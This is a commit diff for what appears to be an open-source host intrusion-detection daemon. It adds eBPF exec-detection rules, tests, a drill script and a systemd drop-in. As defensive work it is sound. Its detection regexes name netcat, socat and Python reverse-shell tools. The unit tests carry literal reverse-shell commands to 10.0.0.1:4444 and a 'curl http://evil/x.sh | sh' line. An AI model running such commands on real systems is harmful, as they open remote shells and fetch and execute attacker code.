r"|\bn(c|cat|etcat)\b.*\s-e\b"
|
||||
r"|\bsocat\b.*\bexec"
|
||||
r"|python[0-9.]*\b.*(pty\.spawn|socket\.socket)"
|
||||
r"|perl\b.*\bSocket\b"
|
||||
),
|
||||
),
|
||||
ExecRule(
|
||||
sid=100003,
|
||||
msg="Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
|
||||
severity=Severity.CRITICAL,
|
||||
classtype="web-rce",
|
||||
parent_comm=_WEB_DB_SERVERS,
|
||||
exec_comm=_INTERP,
|
||||
),
|
||||
ExecRule(
|
||||
sid=100004,
|
||||
msg="Download piped directly to a shell (ingress tool transfer)",
|
||||
severity=Severity.HIGH,
|
||||
classtype="ingress-tool-transfer",
|
||||
argv_regex=r"\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b",
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
class ExecRuleEngine:
|
||||
"""Holds a rule set and matches events against it."""
|
||||
|
||||
def __init__(self, rules: Iterable[ExecRule] | None = None) -> None:
|
||||
self.rules: list[ExecRule] = list(
|
||||
rules if rules is not None else DEFAULT_EXEC_RULES
|
||||
)
|
||||
|
||||
def match(self, ev: ExecEvent) -> Iterator[Alert]:
|
||||
for rule in self.rules:
|
||||
if rule.matches(ev):
|
||||
yield rule.to_alert(ev)
|
||||
|
||||
@classmethod
|
||||
def load(cls, path: str | Path | None) -> "ExecRuleEngine":
|
||||
rules = list(DEFAULT_EXEC_RULES)
|
||||
if path and Path(path).is_file():
|
||||
rules.extend(_load_toml_rules(Path(path)))
|
||||
return cls(rules)
|
||||
|
||||
|
||||
def _load_toml_rules(path: Path) -> list[ExecRule]:
|
||||
with open(path, "rb") as fh:
|
||||
data = tomllib.load(fh)
|
||||
out: list[ExecRule] = []
|
||||
for r in data.get("exec_rules", []):
|
||||
out.append(ExecRule(
|
||||
sid=int(r["sid"]),
|
||||
msg=r.get("msg", ""),
|
||||
severity=_SEVERITY.get(str(r.get("severity", "HIGH")).upper(),
|
||||
Severity.HIGH),
|
||||
classtype=r.get("classtype", "uncategorized"),
|
||||
path_prefixes=tuple(r.get("path_prefixes", ())),
|
||||
exec_comm=frozenset(r.get("exec_comm", ())),
|
||||
parent_comm=frozenset(r.get("parent_comm", ())),
|
||||
argv_regex=r.get("argv_regex"),
|
||||
parent_exclude=frozenset(r.get("parent_exclude", ())),
|
||||
))
|
||||
return out
|
||||
|
|
@ -61,6 +61,20 @@ RESPONSES: dict[str, str] = {
|
|||
}
|
||||
|
||||
|
||||
_EXEC_RESPONSE = (
|
||||
"An eBPF rule matched a process execution as it happened (caught even if the "
|
||||
"process has since exited). RESPONSE: review the parent process and the full "
|
||||
"command line, correlate with the captured sockets, and pivot on the parent "
|
||||
"if it's a network-facing service."
|
||||
)
|
||||
|
||||
|
||||
def _response_for(signature: str) -> str:
|
||||
if signature.startswith("exec_rule."):
|
||||
return _EXEC_RESPONSE
|
||||
return RESPONSES.get(signature, "Review the captured context manually.")
|
||||
|
||||
|
||||
def _run(cmd: list[str], timeout: int = 8) -> str:
|
||||
try:
|
||||
res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||
|
|
@ -105,12 +119,13 @@ def _format_text(report: dict, extras: dict[str, str]) -> str:
|
|||
L.append("")
|
||||
L.append("## Triggering detections")
|
||||
for a in report["alerts"]:
|
||||
L.append(f" [{a['severity']}] {a['signature']} — {a['detail']}")
|
||||
L.append(f" [{a['severity']}] sid:{a.get('sid', 0)} "
|
||||
f"{a['signature']} ({a.get('classtype', '?')}) — {a['detail']}")
|
||||
L.append("")
|
||||
L.append("## Response guidance")
|
||||
for sig in dict.fromkeys(a["signature"] for a in report["alerts"]):
|
||||
L.append(f" • {sig}:")
|
||||
L.append(f" {RESPONSES.get(sig, 'Review the captured context manually.')}")
|
||||
L.append(f" {_response_for(sig)}")
|
||||
L.append("")
|
||||
L.append("## Flagged process detail")
|
||||
if report["processes"]:
|
||||
|
|
|
|||
|
|
@ -1,13 +1,14 @@
|
|||
# Maintainer: Enodia
|
||||
pkgname=enodia-sentinel
|
||||
pkgver=0.2.0
|
||||
pkgver=0.3.0
|
||||
pkgrel=1
|
||||
pkgdesc="Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering"
|
||||
arch=('any')
|
||||
url="https://github.com/Enodia/enodia-sentinel"
|
||||
license=('GPL-3.0-or-later')
|
||||
depends=('python>=3.11' 'iproute2' 'procps-ng')
|
||||
optdepends=('bpftrace: execve tracing of short-lived processes in snapshots'
|
||||
optdepends=('python-bpfcc: eBPF event-driven execve monitor (catches short-lived processes)'
|
||||
'bpftrace: execve tracing of short-lived processes in snapshots'
|
||||
'libnotify: desktop notifications on alert')
|
||||
backup=('etc/enodia-sentinel.toml')
|
||||
source=()
|
||||
|
|
|
|||
|
|
@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
|||
|
||||
[project]
|
||||
name = "enodia-sentinel"
|
||||
version = "0.2.0"
|
||||
version = "0.3.0"
|
||||
description = "Host intrusion-detection daemon — signature-based detection of reverse shells, LD_PRELOAD rootkits, fileless malware, and persistence tampering"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.11"
|
||||
|
|
|
|||
|
|
@ -110,6 +110,18 @@ drill_persistence() {
|
|||
echo " -> wrote $SANDBOX/authorized_keys"
|
||||
}
|
||||
|
||||
drill_ebpf_exec() {
|
||||
note ebpf_exec "short-lived /tmp exec + reverse-shell-pattern argv (only the eBPF monitor catches these)"
|
||||
cp /bin/true "$TMP/enodia-drill-exec" 2>/dev/null
|
||||
"$TMP/enodia-drill-exec" # runs and exits in <1ms — the poll loop can't see it (sid 100001)
|
||||
# argv carries a /dev/tcp pattern -> sid 100002 (connects to discard:9, harmless)
|
||||
( exec -a enodia-drill-revsh bash -c 'cat < /dev/tcp/127.0.0.1/9 2>/dev/null; true' ) &
|
||||
PIDS+=("$!")
|
||||
echo " -> fired a short-lived /tmp exec (sid 100001) and a /dev/tcp argv (sid 100002)"
|
||||
echo " NOTE: needs the eBPF monitor (run the service as root). With polling only"
|
||||
echo " these vanish between sweeps — which is exactly what the eBPF layer fixes."
|
||||
}
|
||||
|
||||
run() {
|
||||
case "$1" in
|
||||
reverse_shell) drill_reverse_shell ;;
|
||||
|
|
@ -118,11 +130,12 @@ run() {
|
|||
new_listener) drill_new_listener ;;
|
||||
new_suid) drill_new_suid ;;
|
||||
persistence) drill_persistence ;;
|
||||
ebpf_exec) drill_ebpf_exec ;;
|
||||
*) echo "unknown drill: $1" >&2; return 1 ;;
|
||||
esac
|
||||
}
|
||||
|
||||
ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence)
|
||||
ALL=(reverse_shell ld_preload deleted_exe new_listener new_suid persistence ebpf_exec)
|
||||
|
||||
if [ "${1:-}" = "--list" ]; then printf '%s\n' "${ALL[@]}"; exit 0; fi
|
||||
|
||||
|
|
@ -135,11 +148,14 @@ echo "######################################################################"
|
|||
if [ "$#" -gt 0 ]; then targets=("$@"); else targets=("${ALL[@]}"); fi
|
||||
for d in "${targets[@]}"; do run "$d"; done
|
||||
|
||||
echo -e "\n[*] drills live for ${HOLD}s. Triggering a Sentinel sweep check now:"
|
||||
if [ -x /usr/local/bin/sentinel.sh ]; then
|
||||
sudo /usr/local/bin/sentinel.sh --check 2>/dev/null \
|
||||
| grep -i drill && echo " ^ Sentinel saw the drills." \
|
||||
|| echo " (run 'sudo sentinel.sh --check' yourself, or watch events.log)"
|
||||
echo -e "\n[*] drills live for ${HOLD}s. Run a one-shot poll check now:"
|
||||
if command -v enodia-sentinel >/dev/null 2>&1; then
|
||||
enodia-sentinel check 2>/dev/null | grep -i 'drill\|/tmp/enodia' \
|
||||
&& echo " ^ Sentinel's poll detectors saw the drills." \
|
||||
|| echo " (no poll hits yet — watch /var/log/enodia-sentinel/events.log)"
|
||||
else
|
||||
echo " (enodia-sentinel not on PATH — watch /var/log/enodia-sentinel/events.log)"
|
||||
fi
|
||||
echo " The 'ebpf_exec' drill only shows up with the eBPF monitor (service as root)."
|
||||
echo "[*] holding for ${HOLD}s, then cleaning up..."
|
||||
sleep "$HOLD"
|
||||
|
|
|
|||
17
systemd/enodia-sentinel-ebpf.conf
Normal file
17
systemd/enodia-sentinel-ebpf.conf
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
# Drop-in to enable the eBPF execve monitor.
|
||||
# Install as: /etc/systemd/system/enodia-sentinel.service.d/ebpf.conf
|
||||
#
|
||||
# The base unit is hardened for poll-only operation. bcc (the eBPF frontend)
|
||||
# JIT-compiles its programs at load time and loads/attaches BPF, which the base
|
||||
# unit's MemoryDenyWriteExecute and minimal capability set deliberately forbid.
|
||||
# This drop-in relaxes exactly those, and nothing else — a conscious tradeoff:
|
||||
# the event layer's value (catching short-lived processes) in exchange for a
|
||||
# wider privilege surface. If you don't need it, don't install this file.
|
||||
|
||||
[Service]
|
||||
# bcc compiles eBPF to native code at runtime -> needs write+exec memory.
|
||||
MemoryDenyWriteExecute=no
|
||||
# CAP_BPF/CAP_PERFMON: load BPF + open perf buffers. CAP_SYS_ADMIN: attach
|
||||
# kprobes on many kernels. CAP_SYS_RESOURCE: raise the locked-memory limit.
|
||||
AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
|
||||
CapabilityBoundingSet=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
|
||||
101
tests/test_exec_rules.py
Normal file
101
tests/test_exec_rules.py
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Tests for the Snort-style execve rule engine (pure, no kernel needed)."""
|
||||
import unittest
|
||||
|
||||
from enodia_sentinel.alert import Severity
|
||||
from enodia_sentinel.events.exec_event import ExecEvent
|
||||
from enodia_sentinel.events.rules import (
|
||||
DEFAULT_EXEC_RULES,
|
||||
ExecRule,
|
||||
ExecRuleEngine,
|
||||
)
|
||||
|
||||
|
||||
def ev(filename="/usr/bin/ls", argv=(), parent="bash", pid=10, ppid=9, uid=0):
|
||||
return ExecEvent(pid=pid, ppid=ppid, uid=uid, parent_comm=parent,
|
||||
filename=filename, argv=tuple(argv))
|
||||
|
||||
|
||||
class TestExecEvent(unittest.TestCase):
|
||||
def test_derived_fields(self):
|
||||
e = ev(filename="/tmp/x", argv=("-c", "echo hi"))
|
||||
self.assertEqual(e.exec_comm, "x")
|
||||
self.assertEqual(e.argv_str, "/tmp/x -c echo hi")
|
||||
|
||||
|
||||
class TestDefaultRules(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.engine = ExecRuleEngine()
|
||||
|
||||
def sids(self, e):
|
||||
return {a.sid for a in self.engine.match(e)}
|
||||
|
||||
def test_fileless_tmp_exec(self):
|
||||
self.assertIn(100001, self.sids(ev(filename="/tmp/.x/dropper")))
|
||||
self.assertIn(100001, self.sids(ev(filename="/dev/shm/payload")))
|
||||
|
||||
def test_normal_path_no_fileless(self):
|
||||
self.assertNotIn(100001, self.sids(ev(filename="/usr/bin/python3")))
|
||||
|
||||
def test_reverse_shell_devtcp(self):
|
||||
e = ev(filename="/bin/bash",
|
||||
argv=("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"))
|
||||
self.assertIn(100002, self.sids(e))
|
||||
|
||||
def test_reverse_shell_python(self):
|
||||
e = ev(filename="/usr/bin/python3",
|
||||
argv=("-c", "import socket,os,pty;s=socket.socket();pty.spawn('/bin/sh')"))
|
||||
self.assertIn(100002, self.sids(e))
|
||||
|
||||
def test_benign_command_no_reverse_shell(self):
|
||||
self.assertNotIn(100002, self.sids(ev(filename="/usr/bin/ls", argv=("-la",))))
|
||||
|
||||
def test_web_rce_shell_from_nginx(self):
|
||||
e = ev(filename="/bin/sh", parent="nginx", argv=("-c", "id"))
|
||||
sids = self.sids(e)
|
||||
self.assertIn(100003, sids)
|
||||
|
||||
def test_web_rce_requires_interpreter_child(self):
|
||||
# nginx spawning a normal helper is not an interpreter -> no web-rce
|
||||
e = ev(filename="/usr/bin/convert", parent="nginx")
|
||||
self.assertNotIn(100003, self.sids(e))
|
||||
|
||||
def test_login_shell_not_web_rce(self):
|
||||
# sshd spawning bash is a normal login, not in the web/db server set
|
||||
e = ev(filename="/bin/bash", parent="sshd")
|
||||
self.assertNotIn(100003, self.sids(e))
|
||||
|
||||
def test_curl_pipe_sh(self):
|
||||
e = ev(filename="/bin/sh",
|
||||
argv=("-c", "curl http://evil/x.sh | sh"))
|
||||
self.assertIn(100004, self.sids(e))
|
||||
|
||||
def test_severities(self):
|
||||
sev = {r.sid: r.severity for r in DEFAULT_EXEC_RULES}
|
||||
self.assertEqual(sev[100001], Severity.CRITICAL)
|
||||
self.assertEqual(sev[100002], Severity.CRITICAL)
|
||||
self.assertEqual(sev[100004], Severity.HIGH)
|
||||
|
||||
def test_alert_carries_sid_and_classtype(self):
|
||||
e = ev(filename="/tmp/x")
|
||||
alert = next(iter(self.engine.match(e)))
|
||||
self.assertEqual(alert.sid, 100001)
|
||||
self.assertEqual(alert.classtype, "fileless-execution")
|
||||
self.assertEqual(alert.pids, (e.pid,))
|
||||
|
||||
|
||||
class TestRuleValidation(unittest.TestCase):
|
||||
def test_rule_with_no_conditions_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
ExecRule(sid=999, msg="x", severity=Severity.HIGH, classtype="y")
|
||||
|
||||
def test_parent_exclude(self):
|
||||
rule = ExecRule(sid=1, msg="m", severity=Severity.HIGH, classtype="c",
|
||||
exec_comm=frozenset({"bash"}),
|
||||
parent_exclude=frozenset({"sshd"}))
|
||||
self.assertTrue(rule.matches(ev(filename="/bin/bash", parent="cron")))
|
||||
self.assertFalse(rule.matches(ev(filename="/bin/bash", parent="sshd")))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Loading…
Add table
Add a link
Reference in a new issue